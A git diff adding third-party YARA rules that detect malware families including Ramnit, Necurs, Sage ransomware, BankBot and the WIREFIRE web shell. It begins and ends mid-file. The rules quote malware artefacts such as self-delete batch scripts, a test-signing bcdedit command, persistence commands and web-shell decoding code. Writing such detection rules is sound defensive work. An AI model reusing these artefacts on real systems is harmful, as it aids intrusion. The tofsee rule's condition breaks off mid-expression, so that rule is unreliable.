+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = ":L1\ndel \"%s\"\nif exist \"%s\" goto L1\ndel \"%s\"\n"
+	condition:
+		any of them
+}
+
+rule SuicideScriptR1_Multi
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+	
+	strings:
+		$ = "\" goto R1\ndel /a \""
+		$ = "\"\nif exist \""
+		$ = "@echo off\n:R1\ndel /a \""
+	condition:
+		all of them
+}
+
+rule SuicideScriptR
+{
+	// joanap, joanapCleaner
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = ":R\nIF NOT EXIST %s GOTO E\ndel /a %s\nGOTO R\n:E\ndel /a d.bat"
+		
+	condition:
+		all of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/zox.yar b/yara-mikesxrs/Novetta/zox.yar
new file mode 100644
index 0000000..cb7d1c9
--- /dev/null
+++ b/yara-mikesxrs/Novetta/zox.yar
@@ -0,0 +1,12 @@
+rule zox
+{
+	meta:
+		Author = "Novetta"
+		Reference = "https://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf"
+
+	strings:
+		$url ="png&w=800&h=600&ei=CnJcUcSBL4rFkQX444HYCw&zoom=1&ved=1t:3588,r:1,s:0,i:92&iact=rc&dur=368&page=1&tbnh=184&tbnw=259&start=0&ndsp=20&tx=114&ty=58"
+
+	condition:
+		$url
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nvisio/CCleaner.yar b/yara-mikesxrs/Nvisio/CCleaner.yar
new file mode 100644
index 0000000..6133ad7
--- /dev/null
+++ b/yara-mikesxrs/Nvisio/CCleaner.yar
@@ -0,0 +1,33 @@
+// YARA rules compromised CCleaner
+// NVISO 2017/09/18
+// http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
+ 
+import "hash"
+ 
+rule ccleaner_compromised_installer { 
+    meta:
+      author = "NVISIO"
+      reference = "https://blog.nviso.be/2017/09/21/yara-rules-for-ccleaner-5-33/"
+    condition:
+        filesize == 9791816 and hash.sha256(0, filesize) == "1a4a5123d7b2c534cb3e3168f7032cf9ebf38b9a2a97226d0fdb7933cf6030ff"
+}
+ 
+rule ccleaner_compromised_application {
+    meta:
+      author = "NVISIO"
+      reference = "https://blog.nviso.be/2017/09/21/yara-rules-for-ccleaner-5-33/"
+    condition:
+        filesize == 7781592 and hash.sha256(0, filesize) == "36b36ee9515e0a60629d2c722b006b33e543dce1c8c2611053e0651a0bfdb2e9" or
+        filesize == 7680216 and hash.sha256(0, filesize) == "6f7840c77f99049d788155c1351e1560b62b8ad18ad0e9adda8218b9f432f0a9"
+}
+ 
+rule ccleaner_compromised_pdb {
+    meta:
+      author = "NVISIO"
+      reference = "https://blog.nviso.be/2017/09/21/yara-rules-for-ccleaner-5-33/"
+    strings:
+        $a = "s:\\workspace\\ccleaner\\branches\\v5.33\\bin\\CCleaner\\Release\\CCleaner.pdb" 
+        $b = "s:\\workspace\\ccleaner\\branches\\v5.33\\bin\\CCleaner\\ReleaseTV\\CCleaner.pdb" 
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and ($a or $b)
+}
diff --git a/yara-mikesxrs/Nvisio/Office_DDE.yar b/yara-mikesxrs/Nvisio/Office_DDE.yar
new file mode 100644
index 0000000..057a988
--- /dev/null
+++ b/yara-mikesxrs/Nvisio/Office_DDE.yar
@@ -0,0 +1,40 @@
+
+// YARA rules Office DDE
+// NVISO 2017/10/10 - 2017/10/12
+// https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
+  
+rule Office_DDEAUTO_field {
+  meta:
+  	reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+  strings:
+    $a = /<w:fldChar\s+?w:fldCharType="begin"\/>.+?\b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>/
+  condition:
+    $a
+}
+  
+rule Office_DDE_field {
+  meta:
+  	reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+  strings:
+    $a = /<w:fldChar\s+?w:fldCharType="begin"\/>.+?\b[Dd][Dd][Ee]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>/
+  condition:
+    $a
+}
+ 
+rule Office_OLE_DDEAUTO {
+  meta:
+  	reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+  strings:
+    $a = /\x13\s*DDEAUTO\b[^\x14]+/ nocase
+  condition:
+    uint32be(0) == 0xD0CF11E0 and $a
+}
+ 
+rule Office_OLE_DDE {
+  meta:
+  	reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+  strings:
+    $a = /\x13\s*DDE\b[^\x14]+/ nocase
+  condition:
+    uint32be(0) == 0xD0CF11E0 and $a
+}
diff --git a/yara-mikesxrs/PL CERT/Madprotect_packer.yar b/yara-mikesxrs/PL CERT/Madprotect_packer.yar
new file mode 100644
index 0000000..809d8de
--- /dev/null
+++ b/yara-mikesxrs/PL CERT/Madprotect_packer.yar	
@@ -0,0 +1,27 @@
+rule MadProtect : packer {
+meta:
+ author = "mak" 
+ reference = "https://www.cert.pl/en/news/single/madprotect-not-that-mad/"
+ strings: 
+ $enc_hdr = { 23 59 90 70 e9 c1 ec 82 b4 87 b3 4e 03 10 6c 2e} 
+ $key_loop0 = { B0 0F 88 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop1 = { B0 0F EB 02 [2] 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop2 = { B0 0F EB 03 [3] 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop3 = { B0 0F EB 04 [4] 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop4 = { B0 0F EB 05 [5] 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop5 = { B0 0F EB 06 [6] 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop6 = { B0 0F EB 07 [7] 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop7 = { B0 0F EB 08 [8] 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop8 = { B0 0F EB 09 [9] 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop9 = { B0 0F EB 0a [10] 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop10 = { B0 0F EB 0b [11] 01 04 02 41 3C 4F 72 F7 } 
+ $key_loop11 = { B0 0F EB 0c C? 4F 72 F7 } 
+ $key_loop12 = { B0 0F EB 0d C? 4F 72 F7 } 
+ $key_loop13 = { B0 0F EB 0e C? 4F 72 F7 } 
+ $key_loop14 = { B0 0F EB 0f C? 4F 72 F7 } 
+ $pdb = "C:\\Users\\prick\\Documents\\Visual Studio 2010\\Projects\\MadProtect\\Release\\MadProtect.pdb" fullword nocase 
+ $s0 = "CoInitializeEx failed: %x" fullword 
+ $s1 = "CoInitializeSecurity failed: %x" fullword 
+condition: 
+ $enc_hdr or (1 of ($key_loop*)) and (1 of ($s*) or $pdb)
+ }
diff --git a/yara-mikesxrs/PL CERT/Polish_Bankbot_mobile.yar b/yara-mikesxrs/PL CERT/Polish_Bankbot_mobile.yar
new file mode 100644
index 0000000..a2ef91d
--- /dev/null
+++ b/yara-mikesxrs/PL CERT/Polish_Bankbot_mobile.yar	
@@ -0,0 +1,42 @@
+import "androguard"
+
+rule bankbot_polish_banks : banker
+{
+    meta:
+        author = "Eternal"
+        hash0 = "86aaed9017e3af5d1d9c8460f2d8164f14e14db01b1a278b4b93859d3cf982f5"
+        description = "BankBot/Mazain attacking polish banks"
+        reference = "https://www.cert.pl/en/news/single/analysis-of-a-polish-bankbot/"
+        reference2 = "https://www.welivesecurity.com/2017/12/11/banking-malware-targets-polish-banks/"
+        reference3 = "https://www.riskiq.com/blog/labs/mobile-bankbot/"
+    strings:
+        $bank1 = "com.comarch.mobile"
+        $bank2 = "eu.eleader.mobilebanking.pekao"
+        $bank3 = "eu.eleader.mobilebanking.raiffeisen"
+        $bank4 = "pl.fmbank.smart"
+        $bank5 = "pl.mbank"
+        $bank6 = "wit.android.bcpBankingApp.millenniumPL"
+        $bank7 = "pl.pkobp.iko"
+        $bank8 = "pl.plus.plusonline"
+        $bank9 = "pl.ing.mojeing"
+        $bank10 = "pl.bzwbk.bzwbk24"
+        $bank11 = "com.getingroup.mobilebanking"
+        $bank12 = "eu.eleader.mobilebanking.invest"
+        $bank13 = "pl.bph"
+        $bank14 = "com.konylabs.cbplpat"
+        $bank15 = "eu.eleader.mobilebanking.pekao.firm"
+
+        $s1 = "IMEI"
+        $s2 = "/:/"
+        $s3 = "p="
+        $s4 = "SMS From:"
+
+    condition:
+        all of ($s*) and 1 of ($bank*) and 
+        androguard.permission(/android.permission.INTERNET/) and 
+        androguard.permission(/android.permission.WAKE_LOCK/) and
+        androguard.permission(/android.permission.READ_EXTERNAL_STORAGE/) and
+        androguard.permission(/android.permission.RECEIVE_MMS/) and
+        androguard.permission(/android.permission.READ_SMS/) and
+        androguard.permission(/android.permission.RECEIVE_SMS/)
+}
diff --git a/yara-mikesxrs/PL CERT/cryptomix_packer.yar b/yara-mikesxrs/PL CERT/cryptomix_packer.yar
new file mode 100644
index 0000000..6ae8dbf
--- /dev/null
+++ b/yara-mikesxrs/PL CERT/cryptomix_packer.yar	
@@ -0,0 +1,17 @@
+rule cryptomix_packer
+{
+    meta:
+         author     = "msm"
+		 reference = "https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/"
+
+    strings:
+       $old_real_main = {8B [5] 8B [5] 03 ?? 89 ?? FC FF 55 FC}
+       $old_crypto_ops = {83 ?? 1F 83 ?? 60}
+       $old_crypto_xor = {8A 90 [4] 30 14 0E}  // extract xor key from this
+
+       $new_crypto_ops = {03 85 [4] 88 10 EB ??}
+       $new_crypto_xor = {A1 [4] 89 45 ??}  // extract xor key from this
+
+    condition:
+       2 of them
+}
diff --git a/yara-mikesxrs/PL CERT/cryptomix_payload.yar b/yara-mikesxrs/PL CERT/cryptomix_payload.yar
new file mode 100644
index 0000000..52ccad0
--- /dev/null
+++ b/yara-mikesxrs/PL CERT/cryptomix_payload.yar	
@@ -0,0 +1,19 @@
+rule cryptomix_payload
+{
+    meta:
+         author     = "msm"
+		 reference = "https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/"
+
+    strings:
+        $get_static_rsa = { 56 68 [4] E8 [4] 59 59 }
+        $get_final_message = { B9 ?? ?? 00 00 BE [4] 8D BD [4] [0-10] F3 A5}
+        $get_email_format = { FF 75 ?? 68 [4] 50 FF 55 }
+        $get_rsa_reg_key = { 6A 00 68 [4] 68 01 00 00 80 FF D0 68  }
+        $get_extension = { 68 3C 72 40 00 8D 4C ?? ?? 51 FF D0 }
+        $get_extensions_to_encrypt = { FF 74 24 [1] 68 [4] E8 }
+        $get_extensions_to_encrypt_new = { 68 [4] BE [4] 56 FF D0 85 C0 }
+        $get_cnc_url = { 68 [4] E8 [4] 48 F7 D8 1B C0 40 }
+
+    condition:
+       3 of ($get_*)
+}
diff --git a/yara-mikesxrs/PL CERT/kbot.yar b/yara-mikesxrs/PL CERT/kbot.yar
new file mode 100644
index 0000000..647b116
--- /dev/null
+++ b/yara-mikesxrs/PL CERT/kbot.yar	
@@ -0,0 +1,17 @@
+rule kbot : banker
+{
+     meta:
+  	 author	 = "mak"
+	 module	 = "kbot"
+	 reference = "https://www.cert.pl/en/news/single/newest-addition-a-happy-family-kbot/"
+
+	strings:
+	   $bot_cfg = "BASECONFIG......FJ"
+	   $injini  = "INJECTS.INI"
+	   $kbotini = "KBOT.INI"
+	   $bot0    = "BotConfig"
+	   $bot1    = "BotCommunity"
+	   $push_version = { 5? 68 [4] 68 [4] 5? E8 [4] 83 C4 10 85 C0 0F}
+	condition: 
+	   all of them
+}
diff --git a/yara-mikesxrs/PL CERT/necurs.yar b/yara-mikesxrs/PL CERT/necurs.yar
new file mode 100644
index 0000000..e95c798
--- /dev/null
+++ b/yara-mikesxrs/PL CERT/necurs.yar	
@@ -0,0 +1,31 @@
+rule necurs
+{
+	meta:
+		author="akrasuski1"
+		reference = "https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/"
+	strings:
+		$pushID0 = {68 0A CA 9B 2E}
+		$pushID1 = {68 18 DD F0 3E}
+		$pushID2 = {68 31 BF D7 B2}
+		$pushID3 = {68 60 48 6A E1}
+		$pushID4 = {68 84 9A 75 C3}
+		$pushID5 = {68 9B 54 CC D8}
+		$pushID6 = {68 EE A0 8A 0A}
+		$pushID7 = {68 D7 91 35 54}
+		$pushID8 = {68 44 FC 9D EA}
+		$pushID9 = {68 A4 51 C4 74}
+
+		$dga = {1B D9 01 7D 08 11 5D 0C	FF 45 FC 39 75 FC}
+	
+		$string_drivers = "%s\\drivers\\%s.sys"
+		$string_findme = "findme"
+		$string_stupid = "some stupid error" wide
+		$string_bcdedit = "bcdedit.exe -set TESTSIGNING ON"
+
+	condition:
+		(2 of ($string*) and $dga)
+		or
+		($dga and 7 of ($pushID*))
+		or
+		(2 of ($string*) and 7 of ($pushID*))
+}
diff --git a/yara-mikesxrs/PL CERT/nymaim.yar b/yara-mikesxrs/PL CERT/nymaim.yar
new file mode 100644
index 0000000..0bdb2e5
--- /dev/null
+++ b/yara-mikesxrs/PL CERT/nymaim.yar	
@@ -0,0 +1,26 @@
+rule nymaim: trojan
+{
+    meta:
+       author = "mak"
+	   reference = "https://www.cert.pl/en/news/single/nymaim-revisited/"
+
+    strings:
+       $call_obfu_xor = {55 89 E5 5? 8B ?? 04 89 ?? 10 8B ?? 0C 33 ?? 08 E9 }
+       $call_obfu_add = {55 89 E5 5? 8B ?? 04 89 ?? 10 8B ?? 0C 03 ?? 08 E9 }
+       $call_obfu_sub = {55 89 E5 5? 8B ?? 04 89 ?? 10 8B ?? 0C 2b ?? 08 E9 }
+       $nym_get_cnc = {E8 [4] C7 45 ?? [4] C7 45 ?? [4] 83 ??}//3D[4] 01 74 4E E8}
+       $nym_get_cnc2 ={E8 [4] C7 45 ?? [4] 89 [5] 89 [5] C7 45 ?? [4] 83 ??}
+       $nym_check_unp = {C7 45 ?? [4] 83 3D [3] 00 01 74 }
+       $set_cfg_addr = {FF 75 ?? 8F 05 [4] FF 75 08 8F 05 [4] 68 [4] 5? 68 [4] 68 [4] E8}
+
+    condition:
+       (
+            /* orig */
+            (2 of ($call_obfu*)) and (
+                /* old versions */
+                $nym_check_unp or $nym_get_cnc2 or $nym_get_cnc or
+                /* new version */
+                $set_cfg_addr
+            )
+       )
+}
diff --git a/yara-mikesxrs/PL CERT/ramnit.yar b/yara-mikesxrs/PL CERT/ramnit.yar
new file mode 100644
index 0000000..5402951
--- /dev/null
+++ b/yara-mikesxrs/PL CERT/ramnit.yar	
@@ -0,0 +1,62 @@
+import "pe"
+
+rule ramnit_general {
+
+  meta:
+    author = "nazywam"
+    module = "ramnit"
+    reference = "https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/"
+
+  strings:
+    $guid = "{%08X-%04X-%04X-%04X-%08X%04X}"
+
+    $md5_magic_1 = "15Bn99gT"
+    $md5_magic_2 = "1E4hNy1O"
+
+    $init_dga = { C7 ?? ?? ?? ?? ?? FF FF FF FF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? }
+
+    $xor_secret = { 8A ?? ?? 32 ?? 88 ?? 4? 4? E2 ?? }
+
+    $init_function = { FF 35 [4] 68 [4] 68 [2] 00 00 68 [4] E8 [4] FF 35 [4] 68 [4] 68 [2] 00 00 68 [4] E8 [4] FF 35 [4] 68 [4] 68 [2] 00 00 68 [4] E8 [4] FF 35 [4] 68 [4] 68 [2] 00 00 68 [4] E8 }
+
+    $dga_rand_int = { B9 1D F3 01 00 F7 F1 8B C8 B8 A7 41 00 00 }
+
+    $cookies = "\\cookies4.dat"
+
+    $s3 = "pdatesDisableNotify"
+
+    $get_domains = { a3 [4] a1 [4] 80 3? 00 75 ?? c7 05 [4] ff ff ff ff ff 35 [4] ff 35 [4] ff 35 [4] e8 }
+
+    $add_tld = { 55 8B EC  83 ?? ?? 57 C7 ?? ?? 00 00 00 00 B? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? 75 ?? 8B ?? }
+
+    $get_port = { 90 68 [4] 68 [4] FF 35 [4] FF 35 [4] E8 [4] 83 }
+
+  condition:
+    $init_dga and $init_function and 2 of ($guid, $md5_magic_*, $cookies, $s3) and any of ( $get_port, $add_tld, $dga_rand_int, $get_domains, $xor_secret)
+}
+
+rule ramnit_dll {
+
+  meta:
+    author = "nazywam"
+    module = "ramnit"
+    reference = "https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/"
+
+
+  condition:
+    pe.characteristics and pe.DLL and ramnit_general
+}
+
+rule ramnit_injector {
+
+  meta:
+    author = "nazywam"
+    module = "ramnit"
+    reference = "https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/"
+
+  strings:
+    $unpack_dlls = { B8 [4] 50 E8 [4] A3 [4] 68 [4] 68 [4] FF [5] E8 [4] B8 [4] 50 E8 [4] A3 [4] 68 [4] 68 [4] FF [5] E8 }
+
+  condition:
+    $unpack_dlls and ramnit_general
+}
diff --git a/yara-mikesxrs/PL CERT/sage.yar b/yara-mikesxrs/PL CERT/sage.yar
new file mode 100644
index 0000000..6543f10
--- /dev/null
+++ b/yara-mikesxrs/PL CERT/sage.yar	
@@ -0,0 +1,26 @@
+rule sage
+{
+    meta:
+        author="msm"
+		    reference = "https://www.cert.pl/en/news/single/sage-2-0-analysis/"
+
+    strings:
+        /* ransom message */
+        $ransom1 = "ATTENTION! ALL YOUR FILES WERE ENCRYPTED!"
+        $ransom2 = "SAGE 2.0 uses military grade elliptic curve cryptography and you"
+
+        /* other strings */
+        $str0 = "!Recovery_%s.html"
+        $str1 = "/CREATE /TN \"%s\" /TR \"%s\" /SC ONLOGON /RL HIGHEST /F"
+
+        /* code */
+        $get_subdomain = {8B 0D ?? ?? 40 00 6A ?? [2] A1 ?? ?? 40 00 5? 5? 50 51 53 E8}
+        $debug_file_name = {6A 00 6A 01 68 00 00 00 80 68 [4] FF 15 [4] 83 F8 FF}
+        $get_request_subdomain = {74 ?? A1 [4] 5? 5? 68 ?? ?? 40 00 E8}
+        $get_ec_pubkey = {68 [2] 40 00 68 [2] 40 00 E8 [4] 68 B9 0B 00 00 6A 08 E8}
+        $get_extensions = { 8B 35 [2] 40 00 [0-3] 80 3E 00 74 24 }
+
+    condition:
+        all of ($ransom*) and any of ($str*)
+        and any of ($get_subdomain, $debug_file_name, $get_request_subdomain, $get_ec_pubkey, $get_extensions)
+}
diff --git a/yara-mikesxrs/PL CERT/tofsee.yar b/yara-mikesxrs/PL CERT/tofsee.yar
new file mode 100644
index 0000000..1d0fa6c
--- /dev/null
+++ b/yara-mikesxrs/PL CERT/tofsee.yar	
@@ -0,0 +1,35 @@
+rule tofsee
+{
+    meta:
+      author="akrasuski1"
+	    reference = "https://www.cert.pl/en/news/single/tofsee-en/"
+	strings:
+
+	$decryptStr = {32 55 14	88 10 8A D1 02 55 18 F6 D9 00 55 14}
+	$xorGreet = {C1 EB 03 C0 E1 05 0A D9 32 DA 34 C6 88 1E}
+	$xorCrypt = {F7 FB 8A 44 0A 04 30 06 FF 41 0C}
+
+	$string_res1 = "loader_id"
+	$string_res2 = "born_date"
+	$string_res3 = "work_srv"
+	$string_res4 = "flags_upd"
+	$string_res5 = "lid_file_upd"
+	$string_res6 = "localcfg"
+
+	$string_var0 = "%RND_NUM"
+	$string_var1 = "%SYS_JR"
+	$string_var2 = "%SYS_N"
+	$string_var3 = "%SYS_RN"
+	$string_var4 = "%RND_SPACE"
+	$string_var5 = "%RND_DIGIT"
+	$string_var6 = "%RND_HEX"
+	$string_var7 = "%RND_hex"
+	$string_var8 = "%RND_char"
+	$string_var9 = "%RND_CHAR"
+
+    condition:
+		(7 of ($string_var*) and 4 of ($string_res*))
+		or
+		(7 of ($string_var*) and 2 of ($decryptStr, $xorGreet, $xorCrypt))
+		or
+	
diff --git a/yara-mikesxrs/PWC/Elise_lstudio.yar b/yara-mikesxrs/PWC/Elise_lstudio.yar
new file mode 100644
index 0000000..f4b4f50
--- /dev/null
+++ b/yara-mikesxrs/PWC/Elise_lstudio.yar
@@ -0,0 +1,25 @@
+import "pe"
+
+rule Elise_lstudio_variant_B_resource
+
+{
+
+meta:
+
+description = "Elise lightserver variant."
+
+author = "PwC Cyber Threat Operations :: @michael_yip"
+
+version = "1.0"
+
+created = "2015-12-16"
+
+exemplar_md5 = "c205fc5ab1c722bbe66a4cb6aff41190"
+
+ reference = "http://pwc.blogs.com/cyber_security_updates/2015/12/elise-security-through-obesity.html"
+
+condition:
+
+uint16(0) == 0x5A4D and for any i in (0..pe.number_of_resources - 1) : (pe.resources[i].type_string == "A\x00S\x00D\x00A\x00S\x00D\x00A\x00S\x00D\x00A\x00S\x00D\x00S\x00A\x00D\x00")
+
+}
diff --git a/yara-mikesxrs/PWC/Lightserver_variant_B.yar b/yara-mikesxrs/PWC/Lightserver_variant_B.yar
new file mode 100644
index 0000000..39a95f3
--- /dev/null
+++ b/yara-mikesxrs/PWC/Lightserver_variant_B.yar
@@ -0,0 +1,38 @@
+rule Lightserver_variant_B : Red_Salamander
+
+{
+
+      meta:
+
+            description = "Elise lightserver variant."
+
+            author = "PwC Cyber Threat Operations :: @michael_yip"
+
+            version = "1.0"
+
+            created = "2015-12-16"
+
+            exemplar_md5 = "c205fc5ab1c722bbe66a4cb6aff41190"
+
+            reference = "http://pwc.blogs.com/cyber_security_updates/2015/12/elise-security-through-obesity.html"
+
+
+      strings:
+
+            $json = /\{\"r\":\"[0-9]{12}\",\"l\":\"[0-9]{12}\",\"u\":\"[0-9]{7}\",\"m\":\"[0-9]{12}\"\}/
+
+            $mutant1 = "Global\\{7BDACDEE-8BF6-4664-B946-D00FCFF1FFBA}"
+
+            $mutant2 = "{5947BACD-63BF-4e73-95D7-0C8A98AB95F2}"
+
+            $serv1 = "Server1=%s"
+
+            $serv2 = "Server2=%s"
+
+            $serv3 = "Server3=%s"
+
+      condition:
+
+            uint16(0) == 0x5A4D and ($json or $mutant1 or $mutant2 or all of ($serv*))
+
+}
diff --git a/yara-mikesxrs/PWC/MSSUP.yar b/yara-mikesxrs/PWC/MSSUP.yar
new file mode 100644
index 0000000..d8a760d
--- /dev/null
+++ b/yara-mikesxrs/PWC/MSSUP.yar
@@ -0,0 +1,46 @@
+ rule MSSUP : AST
+
+{
+
+meta:
+
+       author="PwC Cyber Threat Operations"
+
+       date="2014-09-11"
+
+       hash="8083ee212588a05d72561eebe83c57bb"
+       
+       reference = "http://pwc.blogs.com/cyber_security_updates/2014/09/malware-microevolution.html"
+
+ strings:
+
+       $debug1="d:\\Programming\\CSharp\\BlackBerry\\BlackBerry\\obj\\Debug\\MSSUP.pdb" nocase
+
+       $debug2="D:\\Programming\\CSharp\\BlackBerry\\UploadDownload\\bin\\x86\\Debug\\UploadDownload.pdb" nocase
+
+       $debug3="Unexpected error has been occurred in {0}, the process must restart for some reason, if it's first time you see this message restart the {0}, if problem was standing contacts the support team ."
+
+       $fileheader1="MSSUP" ascii wide
+
+       $fileheader2="1.0.0.0" ascii wide
+
+       $fileheader3="2014" ascii wide
+
+       $configload1="sqlite3.dll"
+
+       $configload2="URLExtractRegex"
+
+       $configload3="HTTPHeaderName"
+
+       $configload4="HTTPHeaderType"
+
+       $configload5="MsupPath"
+
+ 
+
+condition:
+
+       (all of ($fileheader*) or 3 of ($configload*)) and filesize < 200KB or any of ($debug*)
+
+}
+
diff --git a/yara-mikesxrs/PWC/OrcaRAT.yar b/yara-mikesxrs/PWC/OrcaRAT.yar
new file mode 100644
index 0000000..059a15e
--- /dev/null
+++ b/yara-mikesxrs/PWC/OrcaRAT.yar
@@ -0,0 +1,34 @@
+rule OrcaRAT
+  {
+  meta:  
+         author = "PwC Cyber Threat Operations   :: @tlansec"
+         distribution = "TLP WHITE"
+         sha1 =   "253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613"
+  strings:
+
+       $MZ="MZ"
+
+       $apptype1="application/x-ms-application"
+
+       $apptype2="application/x-ms-xbap"
+
+       $apptype3="application/vnd.ms-xpsdocument"
+
+       $apptype4="application/xaml+xml"
+
+       $apptype5="application/x-shockwave-flash"
+
+       $apptype6="image/pjpeg"
+
+       $err1="Set return time error =   %d!"
+
+       $err2="Set return time   success!"
+
+       $err3="Quit success!"
+
+ 
+
+condition:
+
+       $MZ at 0 and filesize < 500KB and   (all of ($apptype*) and 1 of ($err*))
+  }
\ No newline at end of file
diff --git a/yara-mikesxrs/PWC/Tendrit_2014.yar b/yara-mikesxrs/PWC/Tendrit_2014.yar
new file mode 100644
index 0000000..e5293ab
--- /dev/null
+++ b/yara-mikesxrs/PWC/Tendrit_2014.yar
@@ -0,0 +1,49 @@
+rule Tendrit_2014 : OnePHP
+
+{
+
+meta:
+
+       author = "PwC Cyber Threat Operations   :: @tlansec"
+
+       date="2014-12"
+
+       ref="[http://pwc.blogs.com/cyber_security_updates/2014/12/festive-spearphishing-merry-christmas-from-an-apt-actor.html]"
+
+       hash = "7b83a7cc1afae7d8b09483e36bc8dfbb"
+
+strings:
+
+       $url1="favicon"
+
+       $url2="policyref"
+
+       $url3="css.ashx"
+
+       $url4="gsh.js"
+
+       $url5="direct"
+
+
+
+       $error1="Open HOST_URL error"
+
+       $error2="UEDone"
+
+       $error3="InternetOpen error"
+
+       $error4="Create process fail"
+
+       $error5="cmdshell closed"
+
+       $error6="invalid command"
+
+       $error7="mget over&bingle"
+
+       $error8="mget over&fail"
+
+ condition:
+
+       (all of ($url*) or all of ($error*)) and filesize < 300KB
+
+}
diff --git a/yara-mikesxrs/PWC/smbWormTool.yar b/yara-mikesxrs/PWC/smbWormTool.yar
new file mode 100644
index 0000000..d0e0bff
--- /dev/null
+++ b/yara-mikesxrs/PWC/smbWormTool.yar
@@ -0,0 +1,39 @@
+rule smbWormTool
+
+ {
+
+ meta:
+
+ author = "PwC Cyber Threat Operations"
+
+ description = "SMB Worm Tool"
+
+ version = "1.0"
+
+ created = "2014-12-30"
+
+ osint_ref =
+
+ "http://totalhash.com/analysis/db6cae5734e433b195d8fc3252cbe58469e42bf3"
+
+ exemplar_md5 = "61bf45be644e03bebd4fbf33c1c14be2"
+
+ reference = "http://pwc.blogs.com/cyber_security_updates/2015/01/destructive-malware.html"
+
+ strings:
+
+ $STR1 = "%s\\Admin$\\%s.exe" wide ascii nocase
+
+ $STR2 ="NetScheduleJobAdd" wide ascii nocase
+
+ $STR3 = "SetServiceStatus failed, error code" wide   ascii nocase
+
+ $STR4 = "LoadLibrary( NTDLL.DLL ) Error" wide ascii   nocase
+
+ $STR5 = "NTLMSSP" wide ascii nocase
+
+ condition:
+
+ all of them
+
+ }
diff --git a/yara-mikesxrs/Pasquale Stirparo/beef_hooked.yar b/yara-mikesxrs/Pasquale Stirparo/beef_hooked.yar
new file mode 100644
index 0000000..650a7fb
--- /dev/null
+++ b/yara-mikesxrs/Pasquale Stirparo/beef_hooked.yar	
@@ -0,0 +1,36 @@
+/*
+	This Yara Rule is to be considered as "experimental"
+	It reperesents a first attempt to detect BeEF hook function in memory
+	It still requires further refinement 
+
+*/
+
+rule BeEF_browser_hooked {
+	meta:
+		description = "Yara rule related to hook.js, BeEF Browser hooking capability"
+		author = "Pasquale Stirparo"
+		date = "2015-10-07"
+		hash1 = "587e611f49baf63097ad2421ad0299b7b8403169ec22456fb6286abf051228db"
+	strings:
+		$s0 = "mitb.poisonAnchor" wide ascii
+		$s1 = "this.request(this.httpproto" wide ascii
+		$s2 = "beef.logger.get_dom_identifier" wide ascii
+		$s3 = "return (!!window.opera" wide ascii 
+		$s4 = "history.pushState({ Be:\"EF\" }" wide ascii 
+		$s5 = "window.navigator.userAgent.match(/Opera\\/9\\.80.*Version\\/10\\./)" wide ascii 
+		$s6 = "window.navigator.userAgent.match(/Opera\\/9\\.80.*Version\\/11\\./)" wide ascii 
+		$s7 = "window.navigator.userAgent.match(/Avant TriCore/)" wide ascii 
+		$s8 = "window.navigator.userAgent.match(/Iceweasel" wide ascii 
+		$s9 = "mitb.sniff(" wide ascii 
+		$s10 = "Method XMLHttpRequest.open override" wide ascii 
+		$s11 = ".browser.hasWebSocket" wide ascii 
+		$s12 = ".mitb.poisonForm" wide ascii 
+		$s13 = "resolved=require.resolve(file,cwd||" wide ascii 
+		$s14 = "if (document.domain == domain.replace(/(\\r\\n|\\n|\\r)/gm" wide ascii 
+		$s15 = "beef.net.request" wide ascii 
+		$s16 = "uagent.search(engineOpera)" wide ascii 
+		$s17 = "mitb.sniff" wide ascii
+		$s18 = "beef.logger.start" wide ascii
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/QuoIntelligence/UNC5221_WIREFIRE_Webshell.yar b/yara-mikesxrs/QuoIntelligence/UNC5221_WIREFIRE_Webshell.yar
new file mode 100644
index 0000000..1cebf8d
--- /dev/null
+++ b/yara-mikesxrs/QuoIntelligence/UNC5221_WIREFIRE_Webshell.yar
@@ -0,0 +1,14 @@
+rule UNC5221_WIREFIRE_Webshell
+{
+meta:
+   author = "QuoIntelligence"
+   description = "Detects the web shell WIREFIRE tracked by Mandiant and similar variants using common pack / unpack methods"
+    date = "2024-01-19"
+    report = "https://quointelligence.eu/2024/01/unc5221-unreported-and-undetected-wirefire-web-shell-variant/"
+strings:
+   $s1 = "zlib.decompress(aes.decrypt(base64.b64decode(" ascii
